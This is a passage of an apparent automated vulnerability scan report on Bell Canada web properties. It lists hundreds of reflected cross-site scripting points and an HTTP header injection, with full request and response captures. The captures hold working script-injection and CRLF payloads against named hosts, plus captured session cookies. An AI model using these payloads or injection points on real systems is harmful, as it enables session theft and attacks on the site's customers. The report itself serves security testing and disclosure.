2.300. http://support.bell.ca/en-on/AboutBell/Environment/ [REST URL parameter 1]

2.301. http://support.bell.ca/en-on/Customer_service/Knowledge_centre/ [REST URL parameter 1]

2.302. http://support.bell.ca/en-on/Mobility/Getting_started_M [REST URL parameter 1]

2.303. http://support.bell.ca/en-on/Mobility/Network_coverage/How_to_use_my_mobile_phone_in_the_United_States [REST URL parameter 1]

2.304. http://support.bell.ca/en-on/Mobility/Network_coverage/How_to_use_my_mobile_phone_while_travelling_abroad [REST URL parameter 1]

2.305. http://support.bell.ca/en-on/Mobility/Rate_plans_features/How_to_use_Message_Centre [REST URL parameter 1]

2.306. http://support.bell.ca/en-on/Mobility/Self_Serve_options/How_to_pay_my_mobile_phone_bill [REST URL parameter 1]

2.307. http://support.bell.ca/en-on/Mobility/Smartphones_and_mobile_internet/How_to_configure_a_mobile_phone_or_smartphone_for_the_Bell_Mobility_HSPA_network [REST URL parameter 1]

2.308. http://support.bell.ca/en-on/Mobility/Smartphones_and_mobile_internet/How_to_conserve_battery_power_on_my_BlackBerry_smartphone [REST URL parameter 1]

2.309. http://support.bell.ca/en-on/Mobility/Smartphones_and_mobile_internet/How_to_free_up_memory_on_my_BlackBerry_smartphone [REST URL parameter 1]

2.310. http://support.bell.ca/en-on/Mobility/Smartphones_and_mobile_internet/How_to_install_and_use_my_Turbo_Stick [REST URL parameter 1]

2.311. http://support.bell.ca/en-on/Mobility/Smartphones_and_mobile_internet/How_to_update_my_BlackBerry_software_using_Desktop_Manager [REST URL parameter 1]

2.312. http://support.bell.ca/en-on/Mobility/Smartphones_and_mobile_internet/I_m_not_able_to_send_email_on_my_BlackBerry_smartphone [REST URL parameter 1]

2.313. http://support.bell.ca/en-on/Mobility/Smartphones_and_mobile_internet/What_can_I_do_with_my_old_mobile_phone [REST URL parameter 1]

2.314. http://support.bell.ca/en-on/TV/What_is_Bell_Install [REST URL parameter 1]

2.315. http://www.bell.ca/accessibilityservices/PrsSN_Landing.page [content parameter]

2.316. http://www.bell.ca/accessibilityservices/PrsSN_Landing.page [metaKey parameter]

2.317. http://www.bell.ca/accessibilityservices/PrsSN_Landing.page [name of an arbitrarily supplied request parameter]

2.318. http://www.bell.ca/home/popups/personal/redirectAliant.jsp [locationParam parameter]

2.319. http://www.bell.ca/shop/SmeSol_Internet_Landing.page [name of an arbitrarily supplied request parameter]

2.320. http://www.bell.ca/shop/SmeSol_Landing.page [name of an arbitrarily supplied request parameter]

2.321. http://www.bell.ca/shop/SmeSol_Network_Landing.page [name of an arbitrarily supplied request parameter]

2.322. http://www.bell.ca/shop/SmeSol_Telephony_Landing.page [name of an arbitrarily supplied request parameter]

2.323. http://www.bell.ca/shop/SmeSol_Web_Hosting_Landing.page [name of an arbitrarily supplied request parameter]

2.324. http://www.bell.ca/shopping/PrsShpGifts_Buy.page [activeModule parameter]

2.325. http://www.bell.ca/shopping/PrsShpGifts_Buy.page [activeWorkflow parameter]

2.326. http://www.bell.ca/shopping/PrsShpGifts_Buy.page [wlcs_catalog_item_sku parameter]

2.327. http://www.bell.ca/shopping/PrsShpPromo_Gnl_Move_offers.page [name of an arbitrarily supplied request parameter]

2.328. http://www.bell.ca/specialneeds/ [name of an arbitrarily supplied request parameter]

2.329. http://www.bell.ca/specialneeds/PrsSN_Landing.page [content parameter]

2.330. http://www.bell.ca/specialneeds/PrsSN_Landing.page [metaKey parameter]

2.331. http://www.bell.ca/specialneeds/PrsSN_Landing.page [name of an arbitrarily supplied request parameter]

2.332. http://www.bell.ca/support/PrsCSrvGnl_ContactUs.page [pageLabel parameter]

2.333. http://www.bell.ca/support/PrsCSrvGnl_FAQ_Detail.page [FAQ_ID parameter]

2.334. http://www.bell.ca/support/PrsCSrv_Search.page [faq parameter]

2.335. http://www.bell.ca/support/PrsCSrv_Search.page [lob parameter]

2.336. http://www.bell.ca/support/PrsCSrv_Search.page [province parameter]

2.337. http://www.bell.ca/support/PrsCSrv_Search.page [question_box parameter]

2.338. http://www.bell.ca/support/PrsCSrv_Search.page [question_box parameter]

2.339. http://www.bell.ca/support/PrsCSrv_Search.page [question_box parameter]

2.340. http://www.bell.ca/support/PrsCSrv_Search.page [support parameter]

2.341. http://www.bell.ca/support/PrsCSrv_Search.page [ui_mode parameter]

2.342. http://www.bell.ca/support/common.portal [_pageLabel parameter]

2.343. http://www.bell.ca/support/common.portal [_pageLabel parameter]

2.344. http://www.bell.ca/support/common.portal [_pageLabel parameter]

2.345. http://www.bell.ca/support/resources/liveperson/contact_us_button.jsp [LOB parameter]

2.346. https://www.bell.ca/home/Home_L_Login.page [customLabel parameter]

2.347. https://www.bell.ca/home/Home_L_login.page [refreshLink parameter]

2.348. https://www.bell.ca/home/Home_L_login.page [refreshLink parameter]

2.349. https://www.bell.ca/home/Home_L_login.page [refreshLink parameter]

2.350. https://www.bell.ca/home/Home_L_login.page [refreshLink parameter]

2.351. https://www.bell.ca/home/popups/personal/redirectAliant.jsp [locationParam parameter]

2.352. https://www.bell.ca/mybell/popups/personal/leaving.jsp [url parameter]

2.353. https://www.bell.ca/mybell/security.portal [_pageLabel parameter]

2.354. https://www.bell.ca/mybell/security.portal [_pageLabel parameter]

2.355. https://www.bell.ca/shopping/common.portal [_pageLabel parameter]

2.356. https://www.bell.ca/shopping/common.portal [_pageLabel parameter]

2.357. https://www.bell.ca/shopping/common.portal [_pageLabel parameter]

2.358. https://www.bell.ca/shopping/popups/personal/storeLocator/slmap.jsp [lang parameter]

2.359. https://www.bell.ca/shopping/popups/personal/storeLocator/slmap.jsp [lang parameter]

2.360. https://www.bell.ca/support/PrsCSrvGnl_ContactUs.page [pageLabel parameter]

2.361. https://www.bell.ca/support/PrsCSrvGnl_FAQ_Detail.page [FAQ_ID parameter]

2.362. https://www.bell.ca/support/internet.portal [_pageLabel parameter]

2.363. https://www.bell.ca/support/internet.portal [_pageLabel parameter]

2.364. https://www.bell.ca/support/internet.portal [_pageLabel parameter]

2.365. http://internet.bell.ca/img_galleryaa7cc%22%3E%3Cscript%3Ealert(1)%3C/script%3Ef6e9167ed7c/index.cfm [Referer HTTP header]

2.366. http://internet.bell.ca/img_galleryaa7cc%22%3E%3Cscript%3Ealert(1)%3C/script%3Ef6e9167ed7c/index.cfm [User-Agent HTTP header]

2.367. http://www.bell.ca/accessibilityservices [Referer HTTP header]

2.368. http://www.bell.ca/accessibilityservices [Referer HTTP header]

2.369. http://www.bell.ca/accessibilityservices/PrsSN_Landing.page [Referer HTTP header]

2.370. http://www.bell.ca/accessibilityservices/PrsSN_Landing.page [Referer HTTP header]

2.371. http://www.bell.ca/accessibilityservices/index.jsp [Referer HTTP header]

2.372. http://www.bell.ca/accessibilityservices/index.jsp [Referer HTTP header]

2.373. http://www.bell.ca/home/jsp/employeelogin/begin.do-- [Referer HTTP header]

2.374. http://www.bell.ca/shopping/PrsShpPns_Landing.page [Referer HTTP header]

2.375. http://www.bell.ca/shopping/PrsShpPns_Landing.page [Referer HTTP header]

2.376. http://www.bell.ca/shopping/PrsShpPromo_Gnl_Move_offers.page [Referer HTTP header]

2.377. http://www.bell.ca/shopping/PrsShpPromo_Gnl_Move_offers.page [Referer HTTP header]

2.378. http://www.bell.ca/specialneeds [Referer HTTP header]

2.379. http://www.bell.ca/specialneeds [Referer HTTP header]

2.380. http://www.bell.ca/specialneeds/PrsSN_ContactUs.page [Referer HTTP header]

2.381. http://www.bell.ca/specialneeds/PrsSN_ContactUs.page [Referer HTTP header]

2.382. http://www.bell.ca/specialneeds/PrsSN_Landing.page [Referer HTTP header]

2.383. http://www.bell.ca/specialneeds/PrsSN_Landing.page [Referer HTTP header]

2.384. http://www.bell.ca/support/PrsCSrvPns_FAQ_Pns.page [Referer HTTP header]

2.385. http://www.bell.ca/support/PrsCSrvPns_FAQ_Pns.page [Referer HTTP header]

2.386. https://www.bell.ca/accessibilityservices [Referer HTTP header]

2.387. https://www.bell.ca/accessibilityservices [Referer HTTP header]

2.388. https://www.bell.ca/accessibilityservices/ [Referer HTTP header]

2.389. https://www.bell.ca/accessibilityservices/ [Referer HTTP header]

2.390. https://www.bell.ca/mybell/ociseclvl3_PrsMyAccts_InternetSvcEq.page&loginFailed=true [Referer HTTP header]

2.391. https://www.bell.ca/mybell/ociseclvl3_PrsMyAccts_InternetSvcEq.page-- [Referer HTTP header]

2.392. https://www.bell.ca/mybell/ociseclvl3_PrsMyAccts_InternetSvcEq.pagec4a3a [Referer HTTP header]

2.393. https://www.bell.ca/mybell/ociseclvl3_PrsMyAccts_InternetSvcEq.pagec4a3a&loginFailed=true [Referer HTTP header]

2.394. https://www.bell.ca/mybell/ociseclvl3_PrsMyAccts_InternetSvcEq.pagec4a3a-- [Referer HTTP header]

2.395. https://www.bell.ca/shop/popups/personal/ [Referer HTTP header]

2.396. https://www.bell.ca/shopping/common.portal/ [Referer HTTP header]

2.397. https://www.bell.ca/shopping/popups/bonus/ [Referer HTTP header]

2.398. https://www.bell.ca/shopping/popups/bundle/ [Referer HTTP header]

2.399. https://www.bell.ca/shopping/popups/internet/ [Referer HTTP header]

2.400. https://www.bell.ca/shopping/popups/internet_access/ [Referer HTTP header]

2.401. https://www.bell.ca/shopping/popups/phoneservices/ [Referer HTTP header]

2.402. https://www.bell.ca/shopping/popups/television/ [Referer HTTP header]

2.403. https://www.bell.ca/shopping/popups/wireless/ [Referer HTTP header]

2.404. https://www.bell.ca/specialneeds/ [Referer HTTP header]

2.405. https://www.bell.ca/specialneeds/ [Referer HTTP header]

2.406. https://www.bell.ca/support/PrsCSrvPns_ChangePhoneNumber.page [Referer HTTP header]

2.407. https://www.bell.ca/support/_CtUs_Eform.page [Referer HTTP header]

2.408. http://www.bell.ca/home/popups/personal/redirectAliant.jsp [gemini cookie]

2.409. http://www.bell.ca/shopping/PrsShpGifts_Buy.page [gemini cookie]

2.410. http://www.bell.ca/shopping/PrsShpInt_Accessories_Buy.page [gemini cookie]

2.411. http://www.bell.ca/shopping/popups/personal/storeLocator/slmap.jsp [gemini cookie]

2.412. http://www.bell.ca/shopping/popups/personal/storeLocator/slmap.jsp [gemini cookie]

2.413. http://www.bell.ca/support/popups/personal/billing/mybellvideo.jsp [gemini cookie]

2.414. http://www.bell.ca/support/popups/personal/billing/mybellvideo.jsp [gemini cookie]

2.415. https://www.bell.ca/shopping/popups/personal/storeLocator/slmap.jsp [gemini cookie]

2.416. https://www.bell.ca/shopping/popups/personal/storeLocator/slmap.jsp [gemini cookie]



1. HTTP header injection  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /index.cfm

Issue detail

The value of the path_requested request parameter is copied into the location response header. The payload 1e312%0d%0a31b94ae2ba was submitted in the path_requested parameter. This caused a response containing an injected HTTP header.

Issue background

HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.

Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.

Issue remediation

If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.

Request

GET /index.cfm?method=promo_urls.validate&path_requested=1e312%0d%0a31b94ae2ba HTTP/1.1
Accept: */*
Referer: http://internet.bell.ca/img_galleryaa7cc%22%3E%3Cscript%3Ealert(1)%3C/script%3Ef6e9167ed7c/90_en.gif
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: internet.bell.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=bXatz2tVfn2b9Lu3eXd5uIX+TL/g0Jq21PCA+7o7L6urWrsaUoYMYnxMC3lgvGY6vvi8wkryYekCxDWmWTGX37b+3hI4kBjnRWCRBZPPqnhS4dUjY7ON0rb6+SsFLLnqRztuAOKrnoQ9rElTALeSdccfyPd6bNaEPAqTDFwSz8DXjrN0NaNuXQDZQP6IQHWmWv+Fg64czOM9Y7AQEPJKj0gGMcIGRH+VcOVKjGfSOPghIj8AgvVNZeWOsbw1UBx4QlYNMu8ogKKNRDcNVVBp5P/fsoYeOuHyUyEfGlgTAFHRn3jOljkqAQ==; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; CFID=121969904; CFTOKEN=31060806

Response

HTTP/1.1 302 Moved Temporarily
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:35:51 GMT
Connection: close
Set-Cookie: SMSESSION=KweLXq3npnQOq/04KYjkTKExIaSjaRLwQ+mBfk8tLAxOWg1vwVamTvHBRozByKyTAGQAyoSdFvW6AwgOIrvKftUpUrG6s2zpzEep3ZmsZJaWmfBDMNP3SUWw+Up8Tk0QgCjlP+do2cgWqvJ9Ab64WYhgd/c0hKCIeOvNFX5bPu9MWfpnU3d98uR5u9/nE9m5Zl8kefz+0lOMmTZS+t6ko3BKVEhlMAMSSqmVSE0RF9iFsQPmgCiP16M8QbgZe4v2IuYhCZbw6WpEQ2NtCPBC7kfjJ3SfXydqTJLldj/ZvwR9pm20aFzMXQ==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Wed, 24-Nov-2010 13:35:52 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Wed, 24-Nov-2010 13:35:52 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Wed, 24-Nov-2010 13:35:52 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Wed, 24-Nov-2010 13:35:52 GMT;path=/
Set-Cookie: BASE_CACHED_URL=index%2Ecfm;path=/
Set-Cookie: UUID=78F294CF%2D65B8%2DB18C%2D80399EC6059D1F8E;expires=Thu, 15-Nov-2040 13:35:52 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:35:52 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:35:52 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:35:52 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:35:52 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:35:52 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:35:52 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:35:52 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:35:52 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:35:52 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
location: index.cfm?method=home.pagenotfound&path_requested=1e312
31b94ae2ba

Content-Language: en-US
Content-Type: text/html; charset=ISO-8859-1


2. Cross-site scripting (reflected)  previous
There are 416 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


2.1. http://bundle.bell.ca/en [REST URL parameter 1]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://bundle.bell.ca
Path:   /en

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b8056"><script>alert(1)</script>01cb299e8c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /enb8056"><script>alert(1)</script>01cb299e8c HTTP/1.1
Host: bundle.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Wed, 24 Nov 2010 01:16:39 GMT
Server: Apache/2.2.3 (Fedora)
X-Powered-By: PHP/5.1.6
Set-Cookie: bundle=3ttapgdbhh2is4g7rgmke1h222; expires=Sat, 24 Nov 2035 07:16:39 GMT; path=/
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 27078

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <link rel="stylesheet" typ
...[SNIP]...
<a onclick="homepage.toggleOffer('offerDetail');return false;" href="/enb8056"><script>alert(1)</script>01cb299e8c?offer-details" class="arrow noarrow">
...[SNIP]...

2.2. http://internet.bell.ca/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d345e"><script>alert(1)</script>e4b545ecf was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?d345e"><script>alert(1)</script>e4b545ecf=1 HTTP/1.1
Host: internet.bell.ca
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __g_u=276131723871238_1_0.05_0_5_1290908625687; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; CFID=115964071; CFTOKEN=16693619; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; gemini=region=ON|province=ON|myurl=CSQ|language=en; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; VOKEN_SEEN=0; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; __utmc=250352478

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 15:16:31 GMT
Connection: close
Set-Cookie: SMSESSION=RYqgCFbhkJptWrD4nKEofduHaNesss4pl4jkwMi7GH3Aci8QEpLmHOrEncMJP2nwwjFBdaegqIxAa4jOTVUTvGDlraSFEhv8KUpBSjkrJ+xAl2I565BH/2kDkqKr0HKdYCHO2Ng/HLyClxvTQa0Oqe1XwtPI+7uXfiAc+RkPOL7RRBPXWv8S7jvLmRH6+cSBGOhx3DqVzLsprZ3PAgq92a2q+cJt09Z+bRHT6hA3LICUkjV81DXdTi5Sm9a7IepztnnJCMUizRwt1wWwINXvsLCmwK6ERD5nO1kSojX0GzYzVrdijKme3Q==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 15:16:31 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 15:16:31 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 15:16:31 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 15:16:31 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 15:16:31 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 15:16:31 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 15:16:31 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 15:16:31 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 15:16:31 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3Fd345e%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3Ee4b545ecf%3D1;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 15:16:31 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
       <meta name="description" con
...[SNIP]...
<input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?d345e"><script>alert(1)</script>e4b545ecf=1" />
...[SNIP]...

2.3. http://internet.bell.ca/Images/flash/sifr [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /Images/flash/sifr

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 92780"><script>alert(1)</script>fe1df02a1fa was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /Images92780"><script>alert(1)</script>fe1df02a1fa/flash/sifr HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; 